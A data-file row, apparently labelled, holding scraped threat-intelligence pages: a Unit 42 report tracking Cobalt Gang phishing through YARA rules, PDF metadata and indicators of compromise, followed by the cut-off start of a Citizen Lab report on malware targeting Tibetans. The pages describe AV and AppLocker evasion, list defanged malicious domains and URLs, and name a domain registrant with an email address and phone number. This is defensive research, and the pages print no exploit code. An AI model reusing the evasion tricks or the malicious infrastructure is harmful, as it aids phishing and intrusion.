RiskIQ","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New Techniques to Uncover and Attribute Cobalt Gang Commodity Builders and Infrastructure Revealed Menu Tools Playbooks Speaking Events About Us New Techniques to Uncover and Attribute Cobalt Gang Commodity Builders and Infrastructure Revealed 10,255 people reacted 0 11 min. read Share By Unit 42 October 25, 2018 at 6:00 AM Category: Unit 42 Tags: Cobalt Nowadays, it\xe2\x80\x99s very easy for an advanced attacker to use commodity tools and malware along with very simple initial delivery methods to keep a low profile and stay away from possible attribution. One of the most common approaches is the use of spear phishing emails employing social engineering or commonly used exploits (such as CVE-2017-0199 or the ThreadKit builder) to trick the employees of organizations of interest. Once the initial infection has occurred is when the attacker becomes more sophisticated, deploying advanced custom pieces of malware, more advanced tools, and/or using living-off-the land tools (such as the use of PowerShell, or tools like CMSTP or Regsvr32). This approach makes it more difficult for threat hunters and defenders to find those needles in the haystack necessary to identify a campaign and its objectives.\xc2 However even if an attacker uses commodity builders and tools, there is always a chance to find specific signals or characteristics that help to identify and track an actor\xe2\x80\x99s infrastructure. One of the groups well known for following these TTPs is the Cobalt Gang, which is still active even after the arrest of their alleged leader in Spain this year. During October 2018, Unit 42 has been investigating ongoing Cobalt Gang campaigns, as well as leveraging the latest information publicly reported in research reports, such as the ones described by Talos or Morphisec, to help discover and tie new infrastructure to this attack group. As a result, we have been able to identify both the use of a common macro builder as well as specific document metadata which have allowed us to track and cluster new activity and infrastructure associated with the Cobalt Gang. \xc2 A Recent Effective Example of Delivery One of the latest examples related to the campaign under analysis was used in attacks just a few days ago. It shows the simplicity of the attack delivery employed by this group. The attack reinforces the fact that email is still one of the primary attack vectors we continuously observe. This attack begins by targeting employees at several banking entities across the globe using an email with subject \xe2\x80\x9cConfirmations on October 16, 2018\xe2\x80\x9d. The sample shown in Figure 1 can already be found in popular public online malware repositories. (SHA256:\xc2 5765ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e). Figure 1. Example of Email delivery \xc2 The attachment is just a PDF document without any kind of code or exploit. Instead it seeks to use social engineering to convince the user click a link to download a malicious macro. This is a method used before by the Cobalt Gang and discussed in previous research as for example by Talos. \xc2 Figure 2. PDF sample with embedded link \xc2 The PDF is simple and embeds a link that will open a legitimate Google location, and redirect the browser to a malicious document from there: Figure 3. Malicious doc browser redirect In order to be effective against static analysis tools, the PDF that attackers crafted the PDF to seem more authentic: it contains empty pages as well as some text pages that help in not raising red flags during analysis, shown in Figures 4 and 5. Keep in mind that PDFs with low number of pages or high entropy in the content can raise suspicious flags in static analysis. Figure 4. PDF static analysis Figure 5. PDF text used to fill pages \xc2 By employing these two techniques the PDF avoids almost all traditional AV detection, resulting in a very effective transport of the first stage of the attack via email. If the attack progresses, the user will be taken to the download of an MS Word document containing malicious macros that has very low detection rate at the moment of this campaign delivery. From a metadata standpoint, the document does not include any specific signal or characteristic that would help us tracking documents from the same author, as shown in Figure 6. Figure 6. Doc102018.doc metadata The downloaded malicious macro uses cmstp.exe to run a \xe2\x80\x9cscriptlet\xe2\x80\x9d, a technique well known to bypass AppLocker, and continues with the next stages of the payload delivery.\xc2 The objective of this research is not the payload analysis, but to focus on all possible aspects of the attack delivery for further tracking on the actors\xe2\x80\x99 campaign and its associated infrastructure. So, the question is now\xe2\x80\xa6 how can this simple delivery method help identify the campaign and objectives? \xc2 Macro Builder Identification The attack also achieves quite low detection results with its macro code, so one of the first focuses of the investigation is the identification of a possible underlying builder. By looking into the macro code for \xe2\x80\x9cDoc102018.doc\xe2\x80\x9d, we can posit multiple theories. The macro code is over 1500 lines in length, and starts declaring a set of variables with a very specific nomenclature (in this sample, letXX(num)): Figure 7. Example of format of macro variables Some of the variables are used in long encoding / decoding routines based on individual character assignations: Figure 8. Using specific variable format in decoding routines Procedures and functions are also defined using the same nomenclature (in this sample, letXX()): Figure 9. Procedures and Functions in VBA code \xc2 And it makes use of the API call \xe2\x80\x9cCallByName\xe2\x80\x9d to invoke methods at runtime: Figure 10. Use of CallByName in VBA code If we analyze some previous samples linked to Cobalt Gang, such as the ones depicted by Morphisec, this pattern is also observable (in this case, using PkXX instead of letXX): Figure 11. VBA pattern in other documents One initial approach to hunt for the pattern can be based on the following regular expressions for the different areas: Variable definitions /[A-Za-z]k[0-9]{2}([0-9]{1})/ Function definitions /Private Function [A-Za-z]{2,5}[0-9]{2,3}\\(/ Procedure definitions /Sub [A-Za-z]{2,5}[0-9]{2,5}\\(/ \xc2 In order to test our hypothesis for the builder we created the following Yara rules: rule cmstp_macro_builder_rev_a { meta: description=""CMSTP macro builder based on variable names and runtime invoke"" author=""Palo Alto Networks Unit42"" strings: $method=""CallByName"" $varexp=/[A-Za-z]k[0-9]{2}([0-9]{1})/ condition: $method and #method == 2 and #varexp > 10 } rule cmstp_macro_builder_rev_b { meta: description=""CMSTP macro builder based on routines and functions names and runtime invoke"" author=""Palo Alto Networks Unit42"" strings: $func=/Private Function [A-Za-z]{1,5}[0-9]{2,3}\\(/ $sub=/Sub [A-Za-z]{1,5}[0-9]{2,5}\\(/ $call=""CallByName"" condition: $call and #func > 1 and #sub > 1 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 rule cmstp_macro_builder_rev_a { \xc2 \xc2 \xc2 \xc2 meta: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 description=""CMSTP macro builder based on variable names and runtime invoke"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 author=""Palo Alto Networks Unit42"" \xc2 \xc2 \xc2 \xc2 strings: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $method=""CallByName"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $varexp=/[A-Za-z]k[0-9]{2}([0-9]{1})/ \xc2 \xc2 \xc2 \xc2 condition: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $method and \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #method == 2 and \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #varexp > 10 } rule cmstp_macro_builder_rev_b { \xc2 \xc2 \xc2 \xc2 meta: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 description=""CMSTP macro builder based on routines and functions names and runtime invoke"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 author=""Palo Alto Networks Unit42"" \xc2 \xc2 \xc2 \xc2 strings: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $func=/Private Function [A-Za-z]{1,5}[0-9]{2,3}\\(/ \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $sub=/Sub [A-Za-z]{1,5}[0-9]{2,5}\\(/ \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $call=""CallByName"" \xc2 \xc2 \xc2 \xc2 condition: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $call and \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #func > 1 and \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 #sub > 1 } Hunting with these Yara rules leads to very positive results identifying this builder as well as a set of malicious documents using it. But the documents identified are not always targeting the finance or banking industries, and so, we cannot guarantee that this builder is only used by this specific Cobalt Gang group and its campaigns against those industries. However, using this in combination with other aspects such as the target, payload, or dropper characteristics, becomes very useful in tracking this group\xe2\x80\x99s campaigns, as we will see in the following sections. Let\xe2\x80\x99s focus then on the first stage of the delivery, the PDF documents. \xc2 Common Signals in PDF Documents As we have seen, the use of a commodity PDF file with an embedded Google redirect link results in a very effective social engineering artifact. As there is no exploit or code executed, our research will now be focused on the metadata information from the document for further analysis. Figure 12. PDF Exiftool metadata \xc2 Our next hypothesis would be to check if the PDF documents could have been created based on a template document, where the author modifies the embedded link in the PDF and saves different document versions over time. Based on the XMP specification, we will pay attention to the values of the \xe2\x80\x9cDocumentID\xe2\x80\x9d and \xe2\x80\x9cInstanceID\xe2\x80\x9d Media Management Properties: Figure 13. XMP Media Management Properties In order to confirm this hypothesis, let\xe2\x80\x99s focus on the Document ID metadata field. Basically, saving the same template twice with 2 different links would produce the same Document ID but multiple Instance ID values (one per saved document). Searching our telemetry data for this metadata content produces interesting results. In order to help hunting for the content, the following Yara rule also could be used: rule cobaltgang_pdf_metadata_rev_a{ meta: description=""Find documents saved from the same potential Cobalt Gang PDF template"" author=""Palo Alto Networks Unit 42"" strings: $ = ""uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338"" ascii wide condition: any of them } 1 2 3 4 5 6 7 8 9 rule cobaltgang_pdf_metadata_rev_a{ \xc2 \xc2 \xc2 \xc2 meta: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 description=""Find documents saved from the same potential Cobalt Gang PDF template"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 author=""Palo Alto Networks Unit 42"" \xc2 \xc2 \xc2 \xc2 strings: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $ = ""uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338"" ascii wide \xc2 \xc2 \xc2 \xc2 condition: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 any of them } The results confirm our hypothesis (see Appendix for IOCs), and we have been able to find multiple PDF files that the attacker has saved with different contents but starting on the same \xe2\x80\x9ctemplate\xe2\x80\x9d, all of them sharing the same characteristics. (different content) \xc2 Figure 14. Example PDF document \xc2 Further analysis on the subsequent stages of the attack will allow us to confirm if the samples are related to Cobalt Gang campaigns. For example, let\xe2\x80\x99s analyze the following document: \xc2 Observed File Name SHA256 REMITTER REFERENCE PMT.pdf 1d0aae6cff1f7a772fac67b74a39904b8b9da46484b4ae8b621a6566f7761d16 \xc2 The document was delivered by email, with the subject \xe2\x80\x9cFund Transfer 08-October-2018\xe2\x80\xb3, targeting banking customers: Figure 15. Email data associated to REMITTER REFERENCE PMT.pdf And it contains the embedded link redirecting to the following URL: hxxps://fundswp[.]com/Document082018.doc \xc2 Which downloads the document: Observed File Name SHA256 Document082018.doc 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee \xc2 By extracting the macro code, we can validate how it matches the macro builder described in the previous section. The following output shows how running the Yara rule searching for the macro builder against the extracted VBA contents of the document produces the expected match in its contents: \xe2\x9d\xaf yara cmstp_macro_builder.yar 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles cmstp_macro_builder_2 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/e657fe761effbe7e11e3cc343ba6845c2c9a6c989e7b805717d2e1417387528f.vba.decoded cmstp_macro_builder_2 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/8a6d2cccb6f2007cb7fa29d3f009f9fbe305bffc45dc35d3828f2dc3c41b3cb7.vba.raw 1 2 3 4 5 6 7 \xe2\x9d\xaf yara cmstp_macro_builder.yar 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles \xc2 cmstp_macro_builder_2 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/e657fe761effbe7e11e3cc343ba6845c2c9a6c989e7b805717d2e1417387528f.vba.decoded \xc2 cmstp_macro_builder_2 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee_subfiles/8a6d2cccb6f2007cb7fa29d3f009f9fbe305bffc45dc35d3828f2dc3c41b3cb7.vba.raw The pieces of our puzzle start to match for this campaign if we now put things in perspective: Hunting for PDF files that are created with the same \xe2\x80\x9cDocumentID\xe2\x80\x9d management metadata field result in a set of files that have been used in email delivery against banking entities. All of the PDF files embed a link based on a Google redirect, leading to the download of a Microsoft Office document file. The Microsoft Office document files contain macros for code execution. Those macros match the characteristics of the builder that we have characterized. \xc2 Discovering the Attacker\xe2\x80\x99s Infrastructure With these results obtained, we can start to move towards finding attacker infrastructure pieces based on multiple aspects, such as the hunting rules defined in previous sections, session data obtained by our telemetry, or public WHOIS registrar data. Using our \xe2\x80\x9chunting rules\xe2\x80\x9d Based on the metadata and builder characteristics, we have tracked a set of malicious PDF and Office files (see Appendix) that provide us with domains and Office files in use by the attacker. Some examples of the PDF and embedded C2 links and document names are below in Table 1: SHA256 Embedded Link 1fd9ba8eb97bf03cd4d3cbaac867595c920f1f36ebfbe9c1fc76558ea5e0ece5 hxxp://www[.]pedidoslalacteo[.]com[.]ar/Proof-of-payment-19.09.2018.doc 5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2 hxxps://s3[.]sovereigncars[.]org[.]uk/inv005189.pdf 07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c hxxps://alotile[.]biz/Document092018.doc 9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23 hxxps://goo[.]gl/mn7iGj Which redirects to: hxxps://document[.]cdn-one[.]biz/doc000512.pdf 444c63bb794abe3d2b524e0cb2c8dcc174279b23b1bce949a7125df9fab25c1c hxxps://safesecurefiles[.]com/doc041791.pdf a5f2ad08b5afdbd5317b51d0d2dd8f781903522844c786a11a0957a81abfd29e \xc2 hxxp://www[.]mky[.]com/Proof-of-payment-19.09.2018.doc df18e997a2f755159f0753c4e69a45764f746657b782f6d3c878afb8befe2b69 hxxps://mail[.]halcyonih[.]com/uploads/doc004718538.pdf Table 1. Example PDF and embedded links \xc2 The PDF documents and URLs allowed us to discover multiple overlaps between this new infrastructure and the existing knowledge about Cobalt Gang attributed activity in previous research, corroborating new infrastructure belonging to the same attacker. Let\xe2\x80\x99s see a couple of examples of PDF documents from the list which belong to the same Document ID. Observed File Name SHA256 inv005189.pdf 5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2 \xc2 This sample has been already documented in previous campaigns, being related to s3[.]sovereigncars[.]org[.]uk domain. See the Talos blog. Observed File Name SHA256 doc000512.pdf 9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23 \xc2 The sample embeds the URL hxxps://goo[.]gl/mn7iGj which is actually a shortened URL resolving to hxxps://document[.]cdn-one[.]biz/doc000512.pdf. Domain cdn-one[.]biz is a well-known Cobalt Gang attributed domain in previous analysis. The complete list of domains used by the PDF identified can be found in the Appendix section. \xc2 Pivoting on Email Sender Telemetry Based on email delivery data, our telemetry helps us collecting samples related and indicators related to the campaign. Let\xe2\x80\x99s put a simple example of how tracking session data lead us to new infrastructure, by using some of the email sender data that is identified in malicious email sessions sending the PDF documents. For example, the following senders belong to the recent campaign and are spoofing both legitimate email domains and senders: dominique.denis-berube.1@ulaval.ca billb@verticalwebmedia.combillb@verticalwebmedia.com benoit.filion.2@ulaval.cabenoit.filion.2@ulaval.ca dominique.denis-berube.1@ulaval.ca \xc2 Some of the samples delivered by these senders and their embedded links are shown below in Table 2: SHA256 Embedded link 1c1a6bb0937c454eb397495eea034e00d1f7cf4e77481a04439afbc5b3503396 hxxps://alotile.biz/Document092018.doc \xc2 187e0d911cd0393caad1364ded1c394257cd149898b31f9718c7c6319af79818 \xc2 hxxps://alotile.biz/Document042018.doc \xc2 988d430ce0e9f19634cf7955eac6eb03e3b7774b788010c2a9742b38016d1ebf hxxps://fundsxe.com/Document09202018.doc \xc2 852f11e5131d3dab9812fd8ce3cd94c1333904f38713ff959f980a168ef0d4ce hxxps://fundsxe.com/Document09222018.doc \xc2 Table 2. Email sender associated PDFs and embedded links \xc2 These sample are delivered under the following file names: REMITTER REFERENCE PMT.pdf Aml_S0680260A79301.pdf CIT180126-000768.pdf AMENDMENT.pdf Citi720TEME171440008_Query.pdf Query _S-170526-005399.pdf \xc2 Both the domains and file names correlate with the results of the domains obtained based on hunting for PDFs metadata and macro builder structure, allowing us to keep tracking new activity over time. \xc2 WHOIS Registrar Overlaps Two of the newly discovered domains used by the collected PDF documents have very interesting registrant information, pointing to a public registrant name, \xe2\x80\x9cgrigoredanbadescu\xe2\x80\x9d. Figure 16. Historical DNS data on safesecurefiles[.]com \xc2 Domains: safesecurefiles[.]com document[.]cdn-one[.]biz WHOIS registrar information: grigoredan@centrum.cz Grigoredanbadescu +4001289858474 (Romania) Brasov Romania \xc2 By pivoting on infrastructure related to the same registrant data we can obtain a very interesting set of domains: arubrabank[.]com outlook-368[.]com usasecurefiles[.]com safesecurefiles[.]com ms-server838[.]com msoffice-365[.]com total-share[.]biz bank-net[.]biz cdn-one[.]biz total-cloud[.]biz web-share[.]biz cloud-direct[.]biz n-document[.]biz my-documents[.]biz firstcloud[.]biz yourdocument[.]biz xstorage[.]biz safe-cloud[.]biz via24[.]biz zstorage[.]biz webclient1[.]biz bnet1[.]biz firstcloud[.]biz mycontent[.]biz total7[.]biz freecloud[.]biz contents[.]bz judgebin[.]bz \xc2 Many of the domains listed are already known as malicious domains attributed to other Cobalt Gang campaigns. As an important note \xe2\x80\x9carubrabank[.]com\xe2\x80\x9d is a new domain registered on 2019-09-18 and still not observed in an active campaign. The domain seems to be intended to mimic the legitimate Arubabank website for further activity: Figure 17. Arubabank legitimate site \xc2 Infrastructure Relationships Let\xe2\x80\x99s summarize all the pieces of our puzzle, now that we can put together all the relationships we observed. Figure 18. Maltego graph. Summary of relations and overlaps. \xc2 As it can be observed in the different clusters of activity: The initial cluster of PDF documents, on the left, links to specific domains for the download of Microsoft Office files using the macro builder structure. Some of the domains in use are publicly registered with the name of \xe2\x80\x9cgrigoredanbanescu\xe2\x80\x9d and allow us to find other related domains, which are already linked to previous Cobalt Gang activity. Some of the initial PDFs have relations with Microsoft Office files linked to \xe2\x80\x9cgrigoredanbanescu\xe2\x80\x9d activity, confirming again the relationships. \xc2 Conclusion Commodity attacks are widely used for both criminal and more targeted attacks, making identification difficult for networks defenders and threat hunters. One actor that makes extensive use of this approach to compromise victims is the Cobalt Gang. By focusing on specific aspects of the macro builders and metadata the actors left behind we were able to develop new mechanisms to track and hunt Cobalt Gang activity and infrastructure. Palo Alto Networks customers are protected in the following ways: WildFire detects malware samples used by this campaign. Traps prevents these attacks at the endpoint. All involved malicious domains have been covered by PAN-DB URL Filtering. An Autofocus tag has been created for tracking CobaltGang actor group. Appendix \xe2\x80\x93 Indicators of Compromise Initial example Type SHA256 Email 2f74c8b55292d59ab66960f21a4413d4d54f8b7500bb385954e7ffe68d775443 PDF 57f65ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e Microsoft Office Document 07a3355f81ff69a197c792847d0783bfc336181d66d3a36e6b548d0dbd9f5a9a Domain transef[.]biz \xc2 Outlook messages 477c432382c97648767ee45c264f0f2aaf8d3d9f9ed547d8418db12b7c140760 e0f1dbc10088b68f772ee73b0785c3d67b8e5f147b687911613d163ad5ebda6d e6a17617eaa98c49bfb2c9d3d090ffea69bb0c1864c43861bdf8d027339ea847 \xc2 Microsoft Office Document (Macro builder) 020ba5a273c0992d62faa05144aed7f174af64c836bf82009ada46f1ce3b6eee 8004601c08983420408d2784e2a4aa79de426d41a09726a884edcb21f83ee7f8 d8a2384a51cd59f6390e6a4fcb04b51358cdbd5e04cae5be23daae548c306a73 161ba501b4ea6f7c2c8d224e55e566fef95064e1ed059d8287bc07e790f740e8 62a278119d732e4c839ee074553f087588a9040be027bdf9e617413c6fd2e9af 641d692386dab5ca60f4c6b1da0edecc5c3473c9a7d187dad6098786404780a3 07a3355f81ff69a197c792847d0783bfc336181d66d3a36e6b548d0dbd9f5a9a 161ba501b4ea6f7c2c8d224e55e566fef95064e1ed059d8287bc07e790f740e8 12ecb6b3780cd19ea84f6e84e816a701e8231441bf90145481baa0648139e001 a6f941fcec01fb006fc51df96396aeeb826cdf3864756669e19cb145fe41692f 19dc9b93870ddc3beb7fdeea2980c95edc489040e39381d89d0dfe0a825a1570 cb5644bd670dcd9caf5185ebe396996e514ed1d93982157186611135aea79bd3 a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561 \xc2 PDF Documents 3a7525ffa571775aca45551ebd2c192d9b8ed45db1a61bdd8398d91db885d7a2 1d0aae6cff1f7a772fac67b74a39904b8b9da46484b4ae8b621a6566f7761d16 1c1a6bb0937c454eb397495eea034e00d1f7cf4e77481a04439afbc5b3503396 187e0d911cd0393caad1364ded1c394257cd149898b31f9718c7c6319af79818 988d430ce0e9f19634cf7955eac6eb03e3b7774b788010c2a9742b38016d1ebf 852f11e5131d3dab9812fd8ce3cd94c1333904f38713ff959f980a168ef0d4ce 9d6fd7239e1baac696c001cabedfeb72cf0c26991831819c3124a0a726e8fe23 5ac1612535b6981259cfac95efe84c5608cf51e3a49b9c1e00c5d374f90d10b2 df18e997a2f755159f0753c4e69a45764f746657b782f6d3c878afb8befe2b69 a5f2ad08b5afdbd5317b51d0d2dd8f781903522844c786a11a0957a81abfd29e 66bd5e492531adf675897de5de8aee427b896c9b2c406daff006ce6a4e8aa810 1fd9ba8eb97bf03cd4d3cbaac867595c920f1f36ebfbe9c1fc76558ea5e0ece5 d5328e519daadaf1520619da1f24f6d81d23c84222640058bbb366752be93537 94c9fa812cebb733eda3a4eed33a0a49b60c207bb0f9153c0d08724c8b30f578 07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c 7b9c183dc40c8d765e98024f8fb6565c69dee2bb97957c5ba754a23d2698bf7a 195580b78e144f66ac1f9be2b927d7828ed1dc3974dc1897e0ed59a96ac8f4e1 444c63bb794abe3d2b524e0cb2c8dcc174279b23b1bce949a7125df9fab25c1c 07f60611836c0a679c0fb2e25f5caeb4d29cd970919d47f715666b80be46f45c 7629dfcc9345578626a250afb67027955c6f78dd80b771c2968c5be0d4b11c59 195580b78e144f66ac1f9be2b927d7828ed1dc3974dc1897e0ed59a96ac8f4e1 b92707ebfaa15225064ff3a1a7d279b3dde1e70200e37d0074e9acc160cb16a7 ebf309ecd6c7a0911e1252d9e90fd302bfbd3e1d2679772025bdb9cc38bca141 57f65ecb239833e5a4b2441e3a2daf3513356d45e1d5c311baeb31f4d503703e \xc2 Domains alotile[.]biz fundsxe[.]com s3[.]sovereigncars[.]org[.]uk safesecurefiles[.]com document[.]cdn-one[.]biz mail[.]halcyonih[.]com transef[.]biz \xc2 Domains registered by \xe2\x80\x9cgrigoredanbanescu\xe2\x80\x9d arubrabank[.]com outlook-368[.]com usasecurefiles[.]com safesecurefiles[.]com ms-server838[.]com msoffice-365[.]com total-share[.]biz bank-net[.]biz cdn-one[.]biz total-cloud[.]biz web-share[.]biz cloud-direct[.]biz n-document[.]biz my-documents[.]biz firstcloud[.]biz yourdocument[.]biz xstorage[.]biz safe-cloud[.]biz via24[.]biz zstorage[.]biz webclient1[.]biz bnet1[.]biz firstcloud[.]biz mycontent[.]biz total7[.]biz freecloud[.]biz contents[.]bz judgebin[.]bz \xc2 URLs hxxp://www[.]pedidoslalacteo[.]com[.]ar/Proof-of-payment-19.09.2018.doc hxxps://s3[.]sovereigncars[.]org[.]uk/inv005189.pdf hxxps://alotile[.]biz/Document092018.doc hxxps://goo[.]gl/mn7iGj hxxps://document[.]cdn-one[.]biz/doc000512.pdf hxxps://safesecurefiles[.]com/doc041791.pdf hxxp://www[.]mky[.]com/Proof-of-payment-19.09.2018.doc hxxps://mail[.]halcyonih[.]com/uploads/doc004718538.pdf hxxps://e-dropbox[.]biz/doc058915654e.pdf hxxp://www[.]bit[.]do/etaYk hxxps://cloud-direct[.]biz/doc0047581678.pdf hxxps://transef[.]biz/Doc102018.doc \xc2 Observed File Names \xc2 Document082018.doc REMITTER REFERENCE PMT.pdf Aml_S0680260A79301.pdf CIT180126-000768.pdf AMENDMENT.pdf Citi720TEME171440008_Query.pdf Query _S-170526-005399.pdf Document092018.doc Proof of payment 19.09.2018.doc Document092018.doc doc005681.doc Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","1","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces - The Citizen Lab Open main menu Skip to main content Close main menu Research Targeted Threats Free Expression Online Transparency and Accountability Global Research Network App Privacy and Controls Tools & Resources Publications News In the Media Events Opportunities Citizen Lab Newsletter Archives About About the Citizen Lab Media Resources People Teaching Donate ResearchTargeted Threats Familiar Feeling A Malware Campaign Targeting the Tibetan Diaspora Resurfaces By Geoffrey Alexander, Matt Brooks, Masashi Crete-Nishihata, Etienne Maynier, John Scott-Railton, and Ron Deibert August 8, 2018 Download PDF Key Findings This report analyzes a malware campaign active between January to March 2018 that targeted Tibetan activists, journalists, members of the Tibetan Parliament in exile, and the Central Tibetan Administration. We detail a successful intrusion of a Tibetan NGO and provide a brief analysis of the operator\xe2\x80\x99s actions post-infection. This recent campaign, as well as a campaign we reported in 2016, both have connections to a wider operation called \xe2\x80\x9cTropic Trooper\xe2\x80\x9d. The strength and meaning of these connections is assessed. We examine the challenges associated with investigating closed espionage ecosystems and the importance of accurately describing the players and the harms they cause. Introduction In January 2018, a Tibetan activist received a mundane-looking email purporting to be program updates from a human rights NGO. Attached to the message were a PowerPoint presentation and a document. The activist, like many in the Tibetan diaspora, had grown wary of unsolicited emails with attachments, and instead of opening the documents, shared the files with Citizen Lab researchers. The suspicion was warranted: the attachments were malicious. If clicked, the files would run recent exploits to infect Windows computers with custom malware. This email was the start of a malware campaign active between January to March 2018 that targeted Tibetan activists, journalists, members of the Tibetan Parliament in exile, and the Central Tibetan Administration. We worked closely with the targeted groups to collect the malicious messages, and also engaged in incident response with a compromised organization. This collaboration enabled us to gain further insights into the tactics, techniques, and procedures used by the operators. The campaign used social engineering to trick targets into opening exploit-laden PowerPoint (CVE-2017-0199) and Microsoft Rich Text Format (RTF) documents (CVE-2017-11882) attached to e-mail messages. The malware includes a PowerShell payload we call DMShell++, a backdoor known as TSSL, and a post-compromise tool we call DSNGInstaller. We call this recent campaign the \xe2\x80\x9cResurfaced Campaign\xe2\x80\x9d because of connections to a 2016 campaign that targeted Tibetan Parliamentarians (which we refer to as the \xe2\x80\x9cParliamentary Campaign\xe2\x80\x9d). These connections suggest that the same group may be involved or tools and infrastructure are being shared between multiple groups. Tibetan Diaspora: A Highly Targeted Community The threat of digital espionage has become a persistent reality for the Tibetan diaspora, which has been targeted by malware campaigns for over a decade. Historically, these operations have relied heavily on malicious attachments that leverage known exploits and basic Remote Access Trojans (RATs). This tactic may reflect a basic risk-reward calculation when targeting under-resourced civil society groups: if they are using unpatched systems, why run the risk of exposing more sophisticated technical tools when simple ones will do? The operators instead appear to focus much of their innovation on clever social engineering paired with a \xe2\x80\x9cjust enough\xe2\x80\x9d approach to tooling. The limited technical innovation that we observe may be driven by the pragmatic need to continue to achieve access and permanence, rather than more sophisticated goals such as obscuring malware authorship or resisting decompiling. Shifting Tactics? Since 2016, the number of reported targeted malware campaigns against Tibetan groups has dropped significantly. In place of targeted malware, we have observed a shift to phishing designed to harvest credentials from online accounts. A notable exception to this change is the Parliamentary Campaign, which used known and patched exploits to deliver custom malware called KeyBoy. The Resurfaced Campaign is the first targeted malware activity against the Tibetan community we have observed since the Parliamentary Campaign. Familiar Connections The Resurfaced Campaign used different exploits and payloads than the Parliamentary Campaign but shares other connections. The two campaigns used similar spear phishing messages and both targeted Tibetan parliamentarians. One of the e-mail addresses used to send spear phishing messages in the Resurfaced Campaign (tibetanparliarnent[@]yahoo.com) was also used repeatedly during the Parliamentary Campaign. Based on the use of common tools and code similarities, both 